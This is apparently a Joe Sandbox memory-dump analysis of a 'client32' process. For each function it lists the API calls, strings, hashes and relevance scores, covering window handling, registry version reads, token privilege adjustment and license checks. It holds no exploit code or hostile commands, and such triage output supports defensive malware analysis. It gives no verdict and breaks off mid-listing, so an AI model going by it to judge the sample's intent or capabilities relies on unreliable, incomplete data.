Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _fgets_strpbrk$ErrorLastSleep__wcstoui64
String ID: %c%04d%s$%s.%04d.%s$/- $?expirY$?starT$ACM$Client$Expired$_License$_checksum$_include$_version$cd_install$defaults$enforce$expiry$inactive$licensee$product$shrink_wrap$start
API String ID: 716802716-1571441106
Opcode ID: 8c48605410795d9e3cd25b9d18f26d9f12cdafcf37fc271b1508f1aea2d58ae0
Instruction ID: a72cdd11ea0a2970362cd59f127853d680cd45206dcb20ec64d0abc9fb05f950
Opcode Fuzzy Hash: 8c48605410795d9e3cd25b9d18f26d9f12cdafcf37fc271b1508f1aea2d58ae0
Instruction Fuzzy Hash: 7DA2C475E0465A9FEB11CF64DC40BEFB7B8AF44345F0441D8E849AB280EB71AA45CF91

Function 11139ED0 Relevance: 54.7, APIs: 20, Strings: 11, Instructions: 474
windowthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 11139F07
IsWindow.USER32(00040270), ref: 11139F65
IsWindowVisible.USER32(00040270), ref: 11139F73
IsWindowVisible.USER32(00040270), ref: 11139FAB
GetForegroundWindow.USER32 ref: 11139FC6
EnableWindow.USER32(00040270,00000000), ref: 11139FE0
EnableWindow.USER32(00040270,00000001), ref: 11139FFC
SetForegroundWindow.USER32(00000000), ref: 1113A00B
FindWindowA.USER32(Shell_TrayWnd,00000000), ref: 1113A049
IsWindowVisible.USER32(00000000), ref: 1113A058
IsWindowVisible.USER32(00040270), ref: 1113A088
IsIconic.USER32(00040270), ref: 1113A095
GetForegroundWindow.USER32 ref: 1113A09F

Part of subcall function 11132120: ShowWindow.USER32(00040270,00000000,?,11139EA2,00000007,?,?,?,?,?,00000000), ref: 11132144

Part of subcall function 11132120: ShowWindow.USER32(00040270,11139EA2,?,11139EA2,00000007,?,?,?,?,?,00000000), ref: 11132156

SetForegroundWindow.USER32(00000000), ref: 1113A0C5
EnableWindow.USER32(00040270,00000001), ref: 1113A0D4
GetLastError.KERNEL32 ref: 1113A193
GetLastError.KERNEL32 ref: 1113A20B
GetTickCount.KERNEL32 ref: 1113A4B8
GetTickCount.KERNEL32 ref: 1113A4D9

Part of subcall function 110261A0: LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,1113A522), ref: 110261A8

FreeLibrary.KERNEL32(?,00000000,000000FF,00000000,00000001,00000000,00000001,00000000,0000000A,?,00000000), ref: 1113A574

Strings

MainWnd = %08x, visible %d, valid %d, xrefs: 11139F7D
File <%s> doesnt exist, e=%d, xrefs: 1113A197, 1113A20F
HookDirectSound, xrefs: 1113A290
Reactivate main window, xrefs: 11139FB9
disableRunplugin, xrefs: 1113A118
HideWhenIdle, xrefs: 11139F94
ShowNeedsReinstall in 15, user=%s, xrefs: 1113A4AB
NeedsReinstall, xrefs: 1113A476
Shell_TrayWnd, xrefs: 1113A044
Audio, xrefs: 1113A295
Client, xrefs: 11139F99, 1113A11D, 1113A47B

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ForegroundVisible$Enable$CountErrorLastLibraryShowTick$CurrentFindFreeIconicLoadThread
String ID: Audio$Client$File <%s> doesnt exist, e=%d$HideWhenIdle$HookDirectSound$MainWnd = %08x, visible %d, valid %d$NeedsReinstall$Reactivate main window$Shell_TrayWnd$ShowNeedsReinstall in 15, user=%s$disableRunplugin
API String ID: 2511061093-2542869446
Opcode ID: e14826bbac3d3f7ee8e0918d09fc5866bd4c7377ec69909a935bcd746c51be63
Instruction ID: 9ececd2581658abecd2b9d282a3ee437682ea2591524154b6e9732358788741a
Opcode Fuzzy Hash: e14826bbac3d3f7ee8e0918d09fc5866bd4c7377ec69909a935bcd746c51be63
Instruction Fuzzy Hash: FC023675E11226DFE716DFA4DD94BAAFB65BBC131EF140138E4219728CEB30A844CB91

Function 11134830 Relevance: 51.0, APIs: 16, Strings: 13, Instructions: 278
libraryloadertimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

GetLocalTime.KERNEL32(?,_debug,CheckLeaks,00000001,00000000,AB86ACF8), ref: 1113489E
LoadLibraryA.KERNEL32(psapi.dll), ref: 111348F6
GetCurrentProcess.KERNEL32 ref: 11134937
GetProcAddress.KERNEL32(?,GetProcessHandleCount), ref: 11134961
GetProcessHandleCount.KERNEL32(00000000,?), ref: 11134972
SetLastError.KERNEL32(00000078), ref: 11134978
GetProcAddress.KERNEL32(?,GetGuiResources), ref: 11134994
GetProcAddress.KERNEL32(?,GetGuiResources), ref: 111349BC
SetLastError.KERNEL32(00000078), ref: 111349D9
SetLastError.KERNEL32(00000078), ref: 111349E6
GetProcAddress.KERNEL32(?,GetProcessMemoryInfo), ref: 111349F8
K32GetProcessMemoryInfo.KERNEL32(?,?,00000028), ref: 11134A0B
SetLastError.KERNEL32(00000078), ref: 11134A11
FreeLibrary.KERNEL32(?), ref: 11134B7B
FreeLibrary.KERNEL32(?), ref: 11134B88
FreeLibrary.KERNEL32(?), ref: 11134B92

Strings

RestartHandles, xrefs: 11134AF7
psapi.dll, xrefs: 111348D3
RestartMB, xrefs: 11134ACC
_debug, xrefs: 11134882
RestartUserObj, xrefs: 11134B45
CheckLeaks, xrefs: 1113487D
GetProcessHandleCount, xrefs: 1113495B
GetGuiResources, xrefs: 1113498E, 111349B6
Used handles=%d, gdiObj=%d, userObj=%d, mem=%u kB, xrefs: 11134A83
Date=%04d-%02d-%02d, xrefs: 111348BB
GetProcessMemoryInfo, xrefs: 111349F2
Client, xrefs: 11134AD1, 11134AFC, 11134B23, 11134B4A
RestartGdiObj, xrefs: 11134B1E

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastLibraryProc$FreeProcess$CountCurrentHandleInfoLoadLocalMemoryTime__wcstoi64
String ID: CheckLeaks$Client$Date=%04d-%02d-%02d$GetGuiResources$GetProcessHandleCount$GetProcessMemoryInfo$RestartGdiObj$RestartHandles$RestartMB$RestartUserObj$Used handles=%d, gdiObj=%d, userObj=%d, mem=%u kB$_debug$psapi.dll
API String ID: 263027137-1001504656
Opcode ID: e9bc53f18f3aff5df15c67e08978246e2bd3215a060d2d5924f045e3fecf3fd3
Instruction ID: db8711c19b503e7e72fae74a2cc3466c9a493194fb08fa6cc11ddefe45185306
Opcode Fuzzy Hash: e9bc53f18f3aff5df15c67e08978246e2bd3215a060d2d5924f045e3fecf3fd3
Instruction Fuzzy Hash: 27B1AE78E402699FDB10CFE9CD80BADFBB5EB88319F104429E419E7648DB749884CB55

Function 11145C70 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 175registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetVersionExA.KERNEL32(111F1EF0,75BF8400), ref: 11145CA0
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 11145CDF
_memset.LIBCMT ref: 11145CFD

Part of subcall function 11143BD0: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1111025B,75BF8400,?,?,11145D2F,00000000,CSDVersion,00000000,00000000,?), ref: 11143BF0

_strncpy.LIBCMT ref: 11145DCA

Part of subcall function 111648ED: __isdigit_l.LIBCMT ref: 11164912

RegCloseKey.KERNEL32(00000000), ref: 11145E66

Strings

Service Pack, xrefs: 11145EAD
CSDVersion, xrefs: 11145D1A
CurrentMinorVersionNumber, xrefs: 11145E30
CurrentMajorVersionNumber, xrefs: 11145DF8
CurrentVersion, xrefs: 11145D44
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 11145CCB

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValueVersion__isdigit_l_memset_strncpy
String ID: CSDVersion$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$SOFTWARE\Microsoft\Windows NT\CurrentVersion$Service Pack
API String ID: 3299820421-2117887902
Opcode ID: 929fb5d8b7f52e0b88e664298c84f703fc5a1542ba09115f26204fab96234c05
Instruction ID: 72e9b589e9c81c7730d33f5d85faf9c496c6ad46d8e7039c924549f2bc0033ac
Opcode Fuzzy Hash: 929fb5d8b7f52e0b88e664298c84f703fc5a1542ba09115f26204fab96234c05
Instruction Fuzzy Hash: A4510871E0023BABDB21CF61CD41FDEF7B9AB01B0CF1040A9E91D66945E7B16A49CB91

Function 11116880 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 182librarycomloaderCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 111168D5
CoCreateInstance.OLE32(111C1AAC,00000000,00000001,111C1ABC,00000000,?,00000000,Client,silent,00000000,00000000,?,1104C49F), ref: 111168EF
LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000000,Client,silent,00000000,00000000), ref: 11116914
GetProcAddress.KERNEL32(00000000,SHGetSettings), ref: 11116926
SHGetSettings.SHELL32(?,00000200,?,00000000,Client,silent,00000000,00000000), ref: 11116939
FreeLibrary.KERNEL32(00000000,?,00000000,Client,silent,00000000,00000000), ref: 11116945
CoUninitialize.OLE32(00000000), ref: 111169E1

Strings

SHELL32.DLL, xrefs: 11116905
SHGetSettings, xrefs: 11116920

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCreateFreeInitializeInstanceLoadProcSettingsUninitialize
String ID: SHELL32.DLL$SHGetSettings
API String ID: 4195908086-2348320231
Opcode ID: 7f4dfa4f84449ddd9057b5d12e5b7092daec7eaad03784577530b65d584c16e3
Instruction ID: 86b6e15c13bd198e2be1b4906c6dc8e983a2f790f9ea6f3073e45f268e972f68
Opcode Fuzzy Hash: 7f4dfa4f84449ddd9057b5d12e5b7092daec7eaad03784577530b65d584c16e3
Instruction Fuzzy Hash: 81515175A00219AFDB00DFA5C9C0EAFFBB9EF48304F114969E915AB244E771A941CB61

Function 11073680 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110737B0
_memset.LIBCMT ref: 11073929

Strings

NBCTL32.DLL, xrefs: 11073865
_License, xrefs: 11073771
serial_no, xrefs: 1107376C

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset
String ID: NBCTL32.DLL$_License$serial_no
API String ID: 2102423945-35127696
Opcode ID: 19c1bfdd6460f6a249e12eea9a2a20caa138c9ba89d8b6a2a5b87a7590f55589
Instruction ID: b632ae2d06a9e035363f4f75e6ccaf6c516ded967162c2d69bbdd490d26a7599
Opcode Fuzzy Hash: 19c1bfdd6460f6a249e12eea9a2a20caa138c9ba89d8b6a2a5b87a7590f55589
Instruction Fuzzy Hash: A8B18075E04209ABE714CF98DC81FEEB7F5FF88304F158169E9499B285DB71A901CB90

Function 11031780 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(1102EA50,?,00000000), ref: 110317A4

Strings

NSMWClass, xrefs: 110317C3
Client32, xrefs: 11031784
NSMWClass, xrefs: 110317AF

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID: Client32$NSMWClass$NSMWClass
API String ID: 3192549508-611217420
Opcode ID: a586b2f275b23202da33eeeabda63bfb0fcf210cd7da2103abc854b9584f9786
Instruction ID: 804cb5d527221f69a992b866d17bc63a828f9d1c02720c4f1a032ef46c9a5584
Opcode Fuzzy Hash: a586b2f275b23202da33eeeabda63bfb0fcf210cd7da2103abc854b9584f9786
Instruction Fuzzy Hash: C1F04F7890222ADFC30ADF95C995A59B7F4BB8870CB108574D43547208EB3179048B99

Function 1109ED30 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,11030346,?,00000000), ref: 1109ED68
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 1109ED84
AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,01611D68,01611D68,01611D68,01611D68,01611D68,01611D68,01611D68,111EFB64,?,00000001,00000001), ref: 1109EDB0
EqualSid.ADVAPI32(?,01611D68,?,00000001,00000001), ref: 1109EDC3

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InformationToken$AllocateEqualInitialize
String ID:
API String ID: 1878589025-0
Opcode ID: 4b61cf4af713a4b82f6fb566942020194785977790fe51c73b26fe6fb189ff5a
Instruction ID: f2a8bc8f74b1de347afb3cb87d534257ea472b44b3b43d4353705adbfce15ac3
Opcode Fuzzy Hash: 4b61cf4af713a4b82f6fb566942020194785977790fe51c73b26fe6fb189ff5a
Instruction Fuzzy Hash: DF213031B0122EABEB10DA98DD95BFEB7B8EB44704F014169E929DB180E671AD10D791

Function 1109D860 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(000F01FF,?,11030703,00000000,00000000,00080000,AB86ACF8,00080000,00000000,?), ref: 1109D88D
OpenProcessToken.ADVAPI32(00000000), ref: 1109D894
LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 1109D8A5
AdjustTokenPrivileges.KERNELBASE(00000000), ref: 1109D8C9

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 2349140579-0
Opcode ID: b1ebb33d0097c2b27741ff61215e6ff8e180ff04b55af2e4c570c349c4c69e7c
Instruction ID: 81f12928af7d2c66371a758247fa27ee71cd04b85772abc6619dfc746b0a2552
Opcode Fuzzy Hash: b1ebb33d0097c2b27741ff61215e6ff8e180ff04b55af2e4c570c349c4c69e7c
Instruction Fuzzy Hash: 4F018CB2640218ABE710DFA4CD89BABF7BCEB04705F004429E91597280D7B06904CBB0

Function 1109D8F0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,00000000,?,?,00000000,00000000,00000000,1109EC30,00000244,cant create events), ref: 1109D90C
FindCloseChangeNotification.KERNEL32(?,00000000,1109EC30,00000244,cant create events), ref: 1109D915

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AdjustChangeCloseFindNotificationPrivilegesToken
String ID:
API String ID: 1022747518-0
Opcode ID: 7d88282d2466d0bea445bfa4253874e9d1aaaebadf3be96b3f697e0eef8d2738
Instruction ID: 1087c1a68057020919897756081cb42e4a012b8ce4d03b8cf520615490e2fd10
Opcode Fuzzy Hash: 7d88282d2466d0bea445bfa4253874e9d1aaaebadf3be96b3f697e0eef8d2738
Instruction Fuzzy Hash: 3CE08C30280214ABE338DE24AD90FA673EDAF05B04F11092DF8A6D2580CA60E8008B60

Function 1102EBD0 Relevance: 252.2, APIs: 32, Strings: 111, Instructions: 1967windowthreadsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

GetSystemMetrics.USER32(00002000), ref: 1102ED54
FindWindowA.USER32(NSMWClass,00000000), ref: 1102EF15

Part of subcall function 11110DE0: GetCurrentThreadId.KERNEL32 ref: 11110E76
Part of subcall function 11110DE0: InitializeCriticalSection.KERNEL32(-00000010,?,11031700,00000001,00000000), ref: 11110E89
Part of subcall function 11110DE0: InitializeCriticalSection.KERNEL32(111F18F0,?,11031700,00000001,00000000), ref: 11110E98
Part of subcall function 11110DE0: EnterCriticalSection.KERNEL32(111F18F0,?,11031700), ref: 11110EAC
